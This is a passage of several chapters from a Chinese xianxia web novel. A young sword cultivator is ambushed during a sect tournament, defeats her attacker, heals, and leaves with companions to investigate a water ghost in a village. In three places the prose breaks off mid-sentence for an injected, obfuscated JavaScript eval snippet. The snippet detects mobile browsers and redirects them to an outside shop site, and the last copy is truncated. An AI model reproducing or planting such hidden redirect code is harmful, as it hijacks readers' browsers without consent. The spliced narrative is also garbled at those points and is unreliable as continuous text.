要是能听见周围人的心理话,伏令年必然得大喊一声冤枉。 身在遨月峰修炼,沈枫泽可从来未教导过她什么遨月峰专属剑法。整天就将他们三人丢在荒郊野外与大自然为伴,美名其曰是让他们获得对抗大自然的力量。 这些都不算,沈枫泽还格外喜欢真人对练的修炼模式。 时不时就随机抽取一位幸运儿同他对练,而这幸运儿的候选人只有三位。 换一种说法,就是找人挨打。 没有什么规则,只求不在沈枫泽的剑下被活活揍扁就可。 在这样的情况下,伏令年便以模仿为师,外加挨打训练出的反应力与力量,形成了这么一套诡异的战斗体系。 她也曾试图学习系统和藏书阁所提供的部分剑招,但以实践证明,当在极度恐慌的状态下,本能与肌肉记忆才是最好的老师。 待伏令年再一次取得胜利,她已然获得了三百积分,也就是说,她总共击败了三十位弟子,且没有败绩。 不断的战斗之中,伏令年逐渐由一开始担忧沈枫泽的威胁而坚持战斗变得发自内心的享受战斗。 原本在三年中自己模仿自然万物懵懂习得的剑招与身法逐渐融会贯通,应对对手的经验也在一次次战斗中累积。 随着禁制被冲破,修为逐渐恢复,她更是感到神清气爽,只觉得自己摸到了什么无形的屏障,似乎只需稍稍用力,便能推开不一样的世界。 伏令年再次盘腿坐下打坐,准备冲破最后一道禁制。她有预感,在冲破禁制后,自己不仅能恢复原有的修为,还能获得更大的提升。 在伏令年一次次用胜利证明了她的实力后,周遭围观的弟子都安静下来,一时间竟未再有人登台挑战。 台下的弟子们有的已经被伏令年打败,有的围观了全程。 此时,他们皆感受到伏令年周身有灵力在波动。 “她又要突破了?”有人不可置信地低语。这已经是比试开始起的第三回了。就是绝世天才,也不能在短时间内连着突破三回吧? “不太像。”台下有修为超过筑基的师兄师姐围观,他们能更清楚地看清伏令年身上发生的变化:“更像是被压制的修为在逐渐释放。” 伏令年源源不断吸纳转化着身周的灵气,将灵力汇聚于经脉当中。近乎凝如实质的灵力流朝着最后一道禁制不断接近。 就在此时,强烈的危机感生出,让伏令年不得不放弃这大好时机,强行脱离入定状态睁开了眼睛。 灵力的反噬立即让她喉间泛起腥甜。 只见面前火光闪动,一条长鞭如灵蛇般朝着她咬来。 有人在休整时间内突然出手袭击她! 39. 美玉多磨 事情发生的太突然,当伏令年察觉到危险想要躲避之时,已然有些来不及了。 灼热的气浪瞬间扑面而来,伏令年只得抬起双臂,交叉于面前,以求护住自身的薄弱点。 衣帛撕裂的声响伴随着剧烈的疼痛席卷伏令年的脑海。 她强忍着剧痛与高温,快速往后退去。 在如此情况之下,她一边遭受着未知敌人的突然袭击,又承受着强行脱离突破状态而受到的反噬,可谓是腹背受敌。 本来强行压制下去的血又从喉间涌出,一时间连连吐出好几口血。 鲜血洒落白色衣袍随即被染红,星星点点的猩红缀于其上,显得格外刺眼。 袭击来得十分突然,待伏令年勉强稳定住伤势,去细看袭击自己的敌人时,却惊讶地发现袭击她的居然是一条自行悬浮的火焰长鞭。 回过神来的众人顿时发出了阵阵低语,在宗内比试中袭击他人,是极其令人不齿的行为。 伏令年的目光从鞭子上移开。 她知晓,再厉害的武器,也需要由人来操控。最终,她在擂台下找到了一张熟悉的面孔。 那是面色有些潮红,正盯着自己的江玉忻。 手臂被长鞭擦过的地方已经皮开肉绽,衣服牵连着血肉,一片殷红。 伏令年甚至能闻到自己皮肉被烧焦的气味。 但此时,她已然感觉不到疼痛,却能感受到内心有一股火焰在翻腾。 那是愤怒的火焰,却不会令她狂躁。在此情景下,伏令年却诡异的冷静了下来。 与伏令年目光相对,江玉忻本想露出讥讽的神情,却莫名在伏令年的目光注视下感到脚底发寒,忍不住别开了视线。 再加之伏令年处于擂台之上,她处于下方,给她一种正在被俯视的感受,更让她气势大减。 当她反应过来,自己刚刚居然在气势上输了一头之时,顿时脸显怒容。 她抬头狠狠瞪向伏令年,却发觉伏令年已经低下脑袋,正慢条斯理地扯开手臂上的衣物,简单地处理着伤口。 光看伤口的狰狞程度,便知刚刚那一鞭的威力有多么蛮横。 处理完伤口,伏令年拾起刚刚为了躲避长鞭而掉落的剑,缓缓走向擂台边缘。 就在众人以为她打算放弃擂台时,伏令年却抬起手中的剑,直指人群中的江玉忻。 伏令年嘴角甚至挂上了一抹笑容,声音平静:“敢于在背后突袭,为何不上台一战?” 此言一出,四周顿时哗然。 这里闹出的动静不小,连其余擂台上的战斗都停止了,所有人的目光近乎都集中于伏令年和江玉忻的身上。 江玉忻自小便是在溺爱中成长的,本身又极具修行天赋。峰中的弟子和长老对她的要求几乎是千依百顺,因而养成了一副我行我素的性子。 然而,这一切似乎从某一刻发生了变化。 三个不知好歹的弟子在内门考核中用手段使兄长遭受责罚,自己非但没为兄长讨回场子,却使从承言受了师父的另眼相待。 一向宠溺她的师父和师姐也不再万事顺着她,长老们开始责备她太过娇纵,自己不再被弟子们众星捧月般地围绕。 再到今日,眼见着她一向看不起的伏令年一次一次的突破成长,她忽的怒上心头,做出了操纵灵器赤炼鞭偷袭的行为。 看见伏令年被打伤的那一刻,她先是觉得暗喜,后又感到一丝心虚。但她并未为自己的行为感到内疚,只是担忧着自己喜爱的赤炼是否会被师父收回,是否会被禁足于峰中。 然而,如今处在众人或是鄙夷,或是愤怒的目光之下,面对伏令年赤裸裸的话语,她却莫名感到了恐慌。 这是一个自小被追捧着长大的天之骄子从未感受过的。 难道,她真的做错了? 不!一切都是面前这个人的错!江玉忻在心中告诉自己。 一个出身微末的小弟子,怎么有资格在台上俯视自己?! 只要将她踩在脚下,那一切便会恢复正轨。 伏令年看着江玉忻面色几度变化,虽然无法直接得知她内心所想,但也知晓她决然不会有所悔改。 只见剑光一闪,江玉忻从台下跃起,剑光如水般倾泻而下。 江玉忻的确是天赋过人。比起三年前与从承言对战之时,剑术有了极大的突破。 若说当时她挥出的剑如百花盛放,而今她点刺劈斩之间,剑光便如春雨般连绵不断。在细密繁复之外又多了力道的变幻,层层叠叠。 若是在全盛时期,伏令年应对起来或许都有些吃力。 毕竟江玉忻如今已突破筑基六阶许久,比伏令年原本修为还高了一阶。 更别提在如今身受不轻的内外伤的情况下,伏令年似乎更无招架之力。 两人速度极快,短短时间便于台上过了几百招。 期间,江玉忻并未再操纵赤炼鞭攻击,想必操纵这强大灵器对她而言也并非易事。 伏令年在江玉忻的攻击之下,始终处于劣势。由于躲避不及,身上也留下了数道伤口,鲜血渗出染红大半衣裳。 许多在台下观看的弟子见此架势,都暗暗为伏令年摇了摇头。 原本江玉忻偷袭在先,负责守护规则的弟子有权取消她的比试资格。然而,伏令年却主动向江玉忻发出挑战。 剑修之间,有一个不成文的规定。若一方发出比试,另一方接受,他人便不能轻易插手。 在此期间,众人便只能在一旁看着,直到二人分出胜负。 江玉忻处于上风,却未感到多少惊喜。 身处战斗中的她能感受到,面前的对手非但没有在她的攻势下日益衰弱,反而有越战越勇之势。 自己挥出的每一剑仿佛成了打磨对方的器具,正使一块蒙尘的玉石流露出原本光洁的面貌。 身处于激战之中,伏令年内心的怒火也逐渐消散,整个人变得更加平静,仿佛沉入了水底,脱离了周遭一切的繁杂。 她眼中只有对手出剑的轨迹,再听不见任何与战斗无关的动静。 精神上的平静未有降低她的行动的敏捷程度,反而使她能够更加全身心地投入战斗之中。 她的动作从一开始被压制的滞涩,到引领节奏的流畅。 体内灵力也随着伏令年每一剑的斩出而流淌与体内,原本由于强行脱离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077176|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而滞留在体内肆意破坏的灵力皆折服归顺。 灵力组成的长龙再次于经脉间形成,所向披靡地冲破沈枫泽设置在她体内的最后一道禁制。 更多的灵力汇入长龙当中,它们并未平息。 灵力组成的长龙咆哮着在经脉中流转奔驰,伏令年耳边响起两道清脆的破裂声,身体顿时一轻,速度再次提升。 在江玉忻不可置信的眼神之中,伏令年将刺出的数百剑光收为一体,推动着体内的灵力长龙,引动周遭气流将江玉忻死死咬住。 攻守转换,胜负于一念之间改变。 一剑斩出,动人心魄。 江玉忻亲身感受着伏令年在与她交战之中一点点的变强与突破,内心早已被击垮。 心无战意,她手中的剑随即被击飞。 而伏令年余势未歇,长剑直接斩过江玉忻的臂膀,带起一蓬血花。 若非伏令年在最后一刻稍稍收住力度,江玉忻的整只手臂恐怕会被灵力流直接绞断。 胜负已分。 伏令年持剑而立,四周一片寂静。 就在此时,忽有人出声提醒:“当心!” 随即,风声乍响,接着是金属交击之声。 “你们绯月峰是不是当我死了。”沈枫泽淡淡的嗓音在伏令年身侧响起,他不知何时已然来到了擂台上:“还是说,背后偷袭是你们的特色?” 伏令年没有回头去看,她缓缓向前,停在了江玉忻面前。 最后一剑下,江玉忻体内涌入了大量狂暴的灵力,受了较为严重的内伤,此时正半跪于地。虽不至于直接昏过去,却也是无力动弹了。 两人视线相碰,就在江玉忻以为伏令年会出声嘲讽之时,就见她移开了视线,抬腿从自己身侧走过。 仿佛,江玉忻只是什么无足轻重的小人物。 这样的想法在江玉忻脑海中炸开,她气急攻心,竟是吐出一口血,直接昏了过去。 “玉忻!”背后传来惊呼:“你怎么了?玉忻…玉忻!是你们!你们对她做了什么?” “够了,阿景。”这是一道有些熟悉的女声:“抱歉,沈师兄…这是我们绯月峰对弟子管教不周,改日必将…” 还挺热闹。 饶是如此,伏令年依旧没回过头去看,她一直走到了擂台边缘,看着下方的弟子问道:“这里有青叶峰和丹峰的弟子吗?” 台下众人被她问得有些摸不着头脑,但还是有人乖乖举起来了手。 “呃,我是。” 伏令年数了数,1…2…3……5,不错,足足有五个之多。 她松了一口气,朝他们投以信任的眼神:“抢救一下,靠你们了。” 紧接着,众人便见刚刚一剑震慑全场的伏令年眼睛一闭,就这么丝滑地躺在了地上。若不看她快要染成红色的衣服,恐怕都要以为她是当场睡下了。 视线逐渐模糊,骤然突破所获的灵力逐渐消散,强烈的疲倦与虚弱席卷全身,伏令年的意识逐渐陷入黑暗。 在朦胧之中,伏令年似乎看见了一株嫩芽。 它扭动着将根系深深扎入泥土,嫩叶舒展着,正在努力往上方延伸。 40. 下山前夕 伏令年觉得自己似乎处于半梦半醒之间。 她努力地睁开双眼。 目之所及,头顶一片郁郁葱葱。伏令年有些困惑,想翻身坐起,却发觉身体似乎不受自己控制了。 就在这时,一个毛茸茸的脑袋进入了她的视线。 只见那拥有红眸长耳的脑袋晃了晃,张开三瓣嘴道:“呀,你居然修炼出人形了!” 伏令年:? 随即,她感到自己的嘴在自动张合。 然而,未等她听清“自己”要对面前这个会说人话的“兔子”说了什么时,眼前再度陷入昏暗。 伏令年又听到了凄厉的惨叫与哭泣声,耳朵一阵嗡鸣,剧烈的痛楚从胸腔处炸开,让她近乎失去理智。 “不要听…不要听…”难以辨别男女的嗓音在耳边响起。 伏令年只觉得仿佛有双手轻轻附于她的耳上,那让她痛苦的声音顿时淡化。 猛地睁开双眼,伏令年咳嗽着,吐出几口淤血。 “她吐血了!“耳边有人在惊呼,几个脑袋凑到了她的面前。 伏令年愣愣地看着温季才、从承言以及高墨贤几人的脑袋缓了好一会,才意识到自己这次是真的醒来了。 温季才小心地伸手在她眼前晃了晃:“二丫,你看这是什么?” 伏令年张了张嘴,她此时很急切地想知道一个问题:“兔子…” 在几人担忧的目光之中,她喘了口气,接着问:“…你们知道,兔子为什么会讲话吗?” “什么?”高墨贤问。 她这话问的很是莫名,高墨贤的疑问也在场之人所疑惑的。 刚刚从奇怪梦境中挣脱出来的伏令年还不是很清醒,一时间也描述不清。 就在这时,温季才问:“你是说,会说人语的动物吗?” “对!“伏令年想点点头,却牵动了伤口,嘶了一声不敢轻举妄动。 温季才表情有些奇怪,思考了一会,他道:“兽类的妖族,他们拥有学习语言的能力,修为达到一定境界便可化为人形,与常人无异。” 听闻此言,伏令年脑中混乱。又想起那会说话的兔子说出的那句“你居然修炼出人形了”。 若那不是她自己无厘头的梦境,而是这具身体的记忆的话,她难不成还是什么妖怪成精? 不对,她穿越过来,一睁眼便是村子中的乞儿,又怎会和化形的妖族扯上关系。 “那妖族在什么境界能化为人形呢?”伏令年追问道。 “我怎么知道。“温季才白了一眼伏令年:“我又不是妖族。” “不同种类的妖族化形所需的条件不同,有的与修为有关,有的与年龄有关。”高墨贤补充道。 见几人视线都落在他身上,高墨贤疑惑:“怎么了?” “你对妖族还蛮了解的嘛。”温季才道。 昆仑峰的藏书阁不是没有对妖族的记载,但像伏令年他们这个年龄的修士,大多都一心扑在自身修炼上,少有关注妖族相关的。 “唔…”高墨贤倒也不隐瞒:“我家藏书阁中有些记载妖族的书籍,我对此略知一二。” 此话一出,伏令年和温季才顿时酸溜溜地看向高墨贤。 知道这小子有钱,未想到他家甚至还有藏书阁! 伏令年还记得,当初在内门考核中,自己和高墨贤定下合同,高墨贤答应给予她五块灵石。而高墨贤口中的五块灵石,居然是五块中品灵石。 “伏师姐醒了?”又有一个脑袋加入,遮住了天空的一角。 夏悠清满脸笑容:“太好了,你没事!” 伏令年动了动身体,试图坐起身来,摆脱这个被一堆人低头看着的尴尬局面。然而,身上各处传来的剧痛让她放弃了这个想法。 “还是很疼吗。”夏悠清的笑容转换为担忧:“你等着,伏师姐,我找几位青叶峰的弟子给你瞧瞧。” 还没等伏令年回话,夏悠清便急匆匆地跑开了。 “你这回可是出风头了。”温季才站累了,转而坐到了伏令年身边。 伏令年没好气地抬手戳了戳温季才的侧腰:“这风头给你出你要不要呀。” 温季才扭身躲避,看了眼伏令年惨兮兮的手臂:“还是算了…绯月峰的人可真恐怖。” 这话一出,三人下意识瞥了眼一直没吭声的从承言。 “抱歉。”从承言轻声道,他目光沉沉,不知道是不是又在脑子里联想了什么苦大仇深的剧情。 “说什么呢?”伏令年可看不得从承言死气沉沉的模样,她笑了一声:“又不是你动的手。而且你前几日不是还保护了我?要不是你,我那一日就得躺在青叶峰了。” “你们俩前几日背着我私会?!”温季才立即抓住了“重点”。 温季才的插科打诨打破了几人间莫名沉重的气氛,伏令年再添油加醋地描述了一遍从承言当时与江玉忻对峙时的英姿,把从承言说得面红耳赤,少了几分苦大仇深的感觉。 就在这时,夏悠清带着几位青叶峰的弟子前来。 为首的青叶峰弟子给伏令年检查了一遍伤口,再换了一次伤药。 另一位青叶峰弟子则在一旁记录着什么。 “你这是?”伏令年好奇地问。 在做记录的弟子道:“你本次治疗的费用。” 伏令年看着对方没有停下的手,有种不好的预感:“要多少灵石?” 做记录的弟子将“账单”递给了伏令年。 伏令年看了一眼,眼前一黑。 温季才也凑上去瞧了一眼,顿时咋舌:“这么贵!” 为首的弟子是一位面容清俊,有些单薄的男子。正在帮伏令年处理着手臂上最严重地伤口。听闻此言,他笑了一声,略带怜悯地道:“原本,宗内各峰的弟子都有医保的,可是你们遨月峰…” 后面的话无需多言。 显然,常年倒欠宗门贡献的遨月峰也被剥夺了获得医保的资格。 至于修仙界为什么会出现“医保”一词…… 伏令年一时说不出话,不知道是应该为了自己贫穷的师门落泪,还是应当为自己的钱包而默哀,抑或是大喊一声‘穿越者前辈你到底还有多少创新是我不知道的?!’ …… 七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078820|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日以后,伏令年的伤势好了大半,自身也稳固在筑基七阶的境界——在同江玉忻的一战中,她不仅突破了禁制,自身境界也得到突破。 值得高兴的是,伏令年没有由于医药费而破产——因为绯月峰送来的赔偿。 听闻,沈枫泽那日还扣押下了江玉忻的赤炼鞭,也不知有没有被绯月峰的弟子讨回去。 而一向被宗内弟子当作透明的遨月峰忽的有了些名气。 不过,这些都是听温季才转述的。 在这期间,伏令年一直呆在青叶峰,专注于调养自己的伤势,以免落下暗疾。 外表的伤势可以靠药物治愈,内在的伤势却需要自身的调养。 与江玉忻的一战,伏令年所受内外伤皆很严重。赤炼鞭极富攻击性的火灵力涌入体内,肆意破坏着她的内脏与经脉。 若不是伏令年当时处于即将突破的玄妙状态,激发出潜力强行压下了伤势,是必然不可能战胜江玉忻的。 神识扫视体内,伏令年操纵着体内灵力缓缓流动,清扫吞噬体内残余的外来灵力,修补着受损的经脉。 筑基七阶的境界带来了总灵力的增长,也使得各条经脉更加坚韧,能够承受更多更强的灵力流动。 结束今日的调养,伏令年沉入神识海当中,例行一日地观察生长于神识海中的幼苗。那日以后,它似乎又成长了一些,但除此之外,再无其余古怪之处。 脱离入定,伏令年起身更衣,在腰间挂上遨月峰的身份铭牌以及储物玉牌,手持佩剑离开了处于青叶峰的暂时居所。 行至一半,就见不远处站着位熟人。 “陆师兄。”伏令年朝对方打了个招呼。 那人侧过头,正是那日为伏令年治疗的清俊男子。 见是伏令年,他笑容浅浅地点了点头:“要去做什么?” “接了个宗门任务,要下山。” 听闻此言,陆辞书的笑容变淡,微微蹙起眉头:“你伤势还未痊愈,不应当急着下山。” 伏令年被他一盯,颇有种不遵医嘱被医生发现的心虚感,她无奈地解释道:“我们峰什么情况,师兄你也是知道的。” 人力稀缺啊! 陆辞书叹了口气,摇摇头:“万事小心,希望不会再在青叶峰与你相见。” 道别过后,伏令年御剑飞往昆仑峰,她与温季才两人约好在昆仑峰的事务堂相见。 当见到温季才两人时,伏令年不由吃了一惊。 “你怎么了?” 只见温季才一脸菜色,像是随时会昏过去。 “大师兄的新修行方式。”高墨贤脸色还算正常,就是有些疲倦:“要入水。” 伏令年明白了。 看来自己养伤的这段时间躲过了什么可怕的事情。 “三位遨月峰的道友。”事务堂的弟子招呼道:“五位弟子都到齐了,你们领取任务所需后便能出发了。” 五位? 伏令年疑惑望去,就见有两道身影从事务堂中走出,手上都拿着一块木牌。 “夏悠清…林屿燕?”伏令年下意识喊出了她们的名字。 41. 木延街市 五人一同行至山门前,经过交谈,总算弄清楚了当前的情况。 他们接取了同一个任务,将结伴共同完成。 任务的内容很简单,前往位于东境西部的桃源村处理水鬼事件。 说来也有趣,在这个修仙界,虽然有仙门与凡间之分别,但两处却并非完全分割的世界。恰恰相反,仙门和凡间的联系远比伏令年最初所想的要密切,修仙也并非是凡人所不知的隐秘事件。 这个世界虽依旧处于未开发石油电力的“古代背景”,却已没有了皇权的存在。人类所居住的东西南北四境皆由处于各境的仙门负责管辖。 仙门能够享有所管辖处的资源,获得灵脉、灵石与草药灵植等物。 同时,修仙者们也将担当起除魔卫道,守护民众的职责。 伏令年一行人便是接取了任务,要去清除困扰桃源村居民的水鬼。 踏入传送法阵,眼前光芒一闪。伏令年睁眼之时,已然身处于热闹的市集之中。 五人突然的出现并未引起周遭过路人的过度注意,只有一名身着灰袍的男子上前,检查了五人所携带的任务木牌。 “几位昆仑宗的道友,这里是西部木延街市。请问几位是要在街市内行动,还是要离开前往凡间界?” 五人相视几眼,都在对方眼中看出了新奇之意。 尤其是林屿燕与夏悠清两人,更是新奇。毕竟她们几乎从记事起便在昆仑宗内长大,也不像伏令年和温季才两人有丰富的逃课下山经验,不曾见过如同木延街市这样有各路修仙者聚集的地界。 伏令年也对这木延街市也有些好奇,她和温季才虽都曾经下山去过宗门附近的修仙者街市,却由于没法使用传送阵,从未来过这么远的地方。 此次任务并不算急迫,几人商量了一下,都决定先在街市内见见世面。 伏令年几人进入法阵离开宗门之时,天色尚早。而木延街市上空却已是漆黑如墨,甚至不见星月,显得有些失真。 虽无星月照耀,街市周遭的门面却将此地照得亮如白昼。还有不少摊贩直接就地摆摊,面前摆满了各色各样的事物。 几人脚程都不慢,行了半炷香时间,却还未看见道路的尽头。 在此期间,伏令年见到了街头表演炼丹炸炉的炼丹师、在街道上狂奔的古怪灵兽、以及推销着自己发明的共轭炼丹炉的摊主…… 等等。 伏令年的脚步一顿,倒退两步去细瞧。 只见那木板上真真切切地写着“共轭炼丹炉”五字。虽然这个世界的语言文字与原本世界的有所不同,但伏令年很确定这是最接近的翻译。 那摊主见伏令年靠近,顿时露出笑容,十分热情地道:“哎呀,道友好眼光,这是最新研制的共轭炼丹炉。拥有了它,你可以同一时间炼制两种不同的丹药,大大提高炼丹效率!” 见伏令年没有扭头就走,她大受鼓励,接着推销:“同时,这个炼丹炉还有拓印了部分空间阵法,能够变大缩小,便于携带。” 夏悠清是丹修,自然对炼丹炉有所了解。 看了眼对方手中那模样古怪,在中间用弧线将空间分割为两半的所谓“共轭炼丹炉”。又听闻这一番推销,她皱了皱眉,小声对伏令年道:“伏师姐,这个炼丹炉看上去不是很靠谱。” 什么一次炼两种丹药,就是单单一种丹药,也有因为火候不对而炼废的可能,更别提在同一个炼丹炉中炼两种丹药了。 周围好奇围观的修士也有人出声嘲笑:“这是哪个器修做出来的东西,在炼丹炉中间加了条弧线便算作新创造啦?” “就是就是,还这么难看。” 顿时,人群中发出一片笑声。 那摊主眼见着如此,便知自己这生意是做不成了,众人的嘲笑更是让她闹了个红脸。 她有些无力地争辩:“这炼丹炉并非只有外观做了变化,虽然是丑了点,但是…”然而,她的声音全然淹没于杂乱的讨论声中, 此时,她忽地听见一道带着笑意的嗓音。 “不错的创意。” 伏令年蹲在她的面前,笑道 摊主顿时瞪大双眼,眼眸中闪着激动的光:“真的?” “当然。“伏令年煞有其事地点了点头:“俗话说的好,时间就是金钱。身为修士,我们应当抓紧一切时间,提高炼丹效率尤其重要。” 这一番话不仅让摊主感动的红了眼眶,也令四周的修士都陷入了安静。 林屿燕怀疑地看着面前的一幕,惊讶于伏令年居然如此的单纯。 连她个剑修都能看出来那炼丹炉并不靠谱…等一下,伏令年不也是个剑修吗? 心中疑惑,眼见着伏令年即将受骗,她拉了拉夏悠清的衣角:“你不是丹修吗,快去劝劝她!” 却不想刚刚还一脸怀疑的夏悠清摇了摇头,眼神认真:“伏师姐这么做,一定有她的道理!” 林屿燕:啊? 她又将目光投向与伏令年同师门的温季才与高墨贤。 高墨贤目光单纯:“我不太懂炼丹的事。” 温季才则面露同情之色,却未有上前阻拦的意思。 林屿燕只觉得脑袋疼得厉害。 五人相处时间不长,林屿燕却能看出伏令年与温季才之间的关系最为熟稔,却不想在如此情况,他却眼睁睁看着伏令年受骗,看来他并非善友。 这么想着,林屿燕瞪了温季才一眼,决定自己上前劝阻伏令年。 此时,伏令年正手捧着“共轭炼丹炉”,将其从头到尾都夸了一遍,在摊主感动的目光中,她问出了最关键的问题。 “如果我想买下它,要多少灵石?或者是别的什么交换?” 摊主看看炼丹炉,又看看伏令年,犹豫了一下,她坚定地道:“你是第一个如此欣赏我炼制的人,这个炼丹炉送你了,不收灵石。” 正准备上前劝阻的林屿燕:? 伏令年沉默了一会,背后的众人看不清她的表情,却也因此炸开了锅。 “不收灵石?” “这炼丹炉难不成真有什么门道?” “早知道我也去细瞧了。”然而,他是没有机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最关键的是,在场五人明明只有夏悠清是丹修。为何除了自己,都一副很懂的样子? 她将炼丹炉还给伏令年,困惑道:“你懂得炼丹?” 伏令年顺手将共轭炼丹炉放入了储物空间中,听到林屿燕的问题,她含糊地道:“嗯…略知一二。” 林屿燕想细问,却又想起伏令年身处于贫穷的遨月峰。在上周刚刚受了如此严重伤的情况下,依旧要下山做任务。 又见温季才和高墨贤一点也不奇怪,仿佛剑修懂得炼丹应该是理所当然的一样。 或许,这是由于遨月峰太过贫穷,峰内弟子买不起丹药,请不起医修,为了能够自行疗伤,无奈之下只能额外学习炼丹? 这么想着,林屿燕倒是不再好意思去深究此事。 炼丹炉插曲过后,几人又在木延街市内逛了逛,在街道的尽头通过法阵离开了木延街市。 耳边有潺潺的流水声,几人走出法阵的隐蔽处,看着清澈的溪流,以及映于溪水中的殷红倒影。 抬头望去,天空已被夕阳染成了红色。 看来,凡间界已入黄昏。 不知不觉间,他们居然在木延街市走了如此久? 而木延街市内始终是黑夜的模样。 这更证明了木延街市内的天空并非真实,或许是什么法阵所造就。 此地离桃源村还有些距离,几人御剑腾空,以求在夜幕降临前抵挡桃源村。 42. 初入桃源 “几位仙长,你们可算来了,快请入内吧。”一位头发胡子已然花白的老者热情地迎上几人,引领着他们走入村庄。 此时,太阳已落至西山,天色逐渐暗沉。 以原来世界的情况来判断,此时的东境已然入秋,傍晚的风已带上了丝丝寒意。 伏令年一行人走入村内,鼻端嗅到阵阵的香气。她抬头四望,只见离村口不远的地方,立着几棵主干近红的树木。 在树木分叉的枝干上,一朵朵颜色粉嫩娇艳的花朵正绽放着,散发出淡雅清甜的气味。同原来世界的桃花十分相像。 似是发觉了伏令年的好奇,引路的老人“哈哈”笑了一声,热情地讲解道:“道长可是也觉得那树美丽?那是我们桃源村世代种植的桃源树,村口这两棵都算是年轻啦。在我们村子中央的那棵桃源树可才叫古树,传闻是百年前一位名为桃源的仙长亲手植下,成长至今已是苍天巨木。这也是我们桃源村名字的由来。” 五人听着老者的讲解,连连点头,都对那桃源古树生出了好奇。 这时,脖子处忽感微凉,伏令年抬手去抚,取下了一片粉色的花瓣。 张开五指,那花瓣又随着风飞起,飘荡到了别处。 在老者的讲解当中,伏令年几人也粗略了解了如今桃源村的情况。 老者是桃源村如今的村长,名为桃骆。 桃源村在一周前出现了孩童失踪事件,经过寻找后,在河里发现了失踪孩童的鞋子。原本村民们都以为只是孩子贪玩不慎溺水。而在三日前,村中却再次有孩童失踪。 排除了是有拐子作案的嫌疑后,村民们都认为这是有水鬼拉孩童入水。 “第二个失踪孩童的衣物未被找到吗?”伏令年问。 “没有。”桃骆摇了摇头,一脸沉痛:“那是王家的女娃,平日里文文静静,也不似那些顽娃娃般喜欢去河边嬉戏。却不想她只是去河边浣洗衣物,人却不见了。” “第一个失踪的孩子是什么情况?”温季才追问。 桃骆摇头轻叹:“那是刘家的放牛娃,发现人不见时岸上只剩下他家的老黄牛了。” “几位仙长,到了。” 桃骆将五人引领到了三间临近的木屋旁,讪笑着道:“我们这小村子,也没什么可招待各位仙长的。委屈仙长们在这儿暂住一晚,明日我便领着你们到那水鬼所在的河边。” 伏令年几人都没有意见。 虽然夜晚寻到水鬼的可能性更高,但村长他们都是普通人类,不敢深夜前往河边也是正常。 等明日到河边弄清楚了状况,五人再独自行事也不妨碍。 桃骆离开以前,伏令年特意提醒了一句:“近日莫要再让村民们靠近那河了。” “当然当然,仙长放心。”桃骆连连应下。 此处只有三件空的屋子,进到室内一看,空间不大,只简单摆放着床铺和桌椅。除此之外再无其余布置。整体算得上整洁,看来都是提前打理过的。 五人都不是在昆仑宗娇生惯养大的,尤其是三个住惯破烂小木屋的遨月峰弟子,对此并无不适。 唯一的问题是,他们一行共有五个人,屋子却只有三间。 看来需要一个人自行住一间屋。 经过讨论,最终决定让伏令年独自一间,温季才和高墨贤一间,林屿燕则和夏悠清住一间。 “小年的修为最高,独自住一间也能确保自身安全。我则可以保护悠清。”林屿燕对这样的分法没有异议。 “也太夸张了。”夏悠清笑眯眯地开玩笑道:“不过是个水鬼,我们呆在村子里,怎么会有危险?” 此话一出,有丰富插旗经验的伏令年和温季才都感到背后一凉。 “还是谨慎些为好。”伏令年试图弥补。 “嗯嗯。”温季才猛点头。 五人各自住下,墨色也将整个村庄完全吞没。 林屿燕和夏悠清一个盘坐于床上,另一个坐在木椅上,都在进日常的打坐修炼。 林屿燕的耳朵忽地微动,她睁开眼睛,三秒后,门口响起了敲击声。 她微微皱起眉头,听对方脚步声,有些沉重,颇有些古怪。 见夏悠清也离开了入定状态,林屿燕整理了一下腰间佩剑,上前打开了木门。 门外站着个乌发黑眸的小女孩,皮肤白皙。见林屿燕开门,她顿时露出一口白牙,笑着道:“仙长姐姐,这是阿爷让我给你们送来的。” 只见他手中提着个木制的食盒。 林屿燕接过,打开食盒的盖子,就见里头放着一盘花朵状的乳白色糕点。 “这是?”她问。 “桃花糕。”小女孩笑着答道:“很好吃的哦。” “多谢。”林屿燕已经许久未吃过凡间食物了,但还是向好意送来桃花糕的女孩道了个谢。 看着女孩奔奔跳跳离开的背影,林屿燕莫名觉得奇怪,却一时间想不出来是哪里有问题。 “这个桃花糕真香啊!”夏悠清凑前嗅了嗅:“我们去找伏师姐他们一起尝一尝吧。” 林屿燕从开门到现在就一直有一种莫名的不安感,虽然她并不是很想吃这桃花糕,却跟着夏悠清一起去隔壁敲了敲温季才两人住所的门。 没反应。 林屿燕顿时皱起了眉。 这时,夜晚的寒风忽起,刮过近处的灌木,发出沙沙的诡异声响。 两人对视一眼,夏悠清倒没像林屿燕这样紧绷,她歪了歪头:“他们俩难不成出去了?我们先去找伏师姐吧。” 林屿燕没说话,只是沉默地点了点头。 伏令年单独的住所离其它四人的住所都更远一些,当林屿燕两人靠近她所住的木屋时,却发觉那木屋的门似乎半敞着,里头有较为浓郁的火灵力逸散而出。 林屿燕顿感不妙,她知道伏令年是火木双灵根,一时间,她脑海里闪过了许多可能。 难不成伏令年遇袭,正在奋力抵抗? 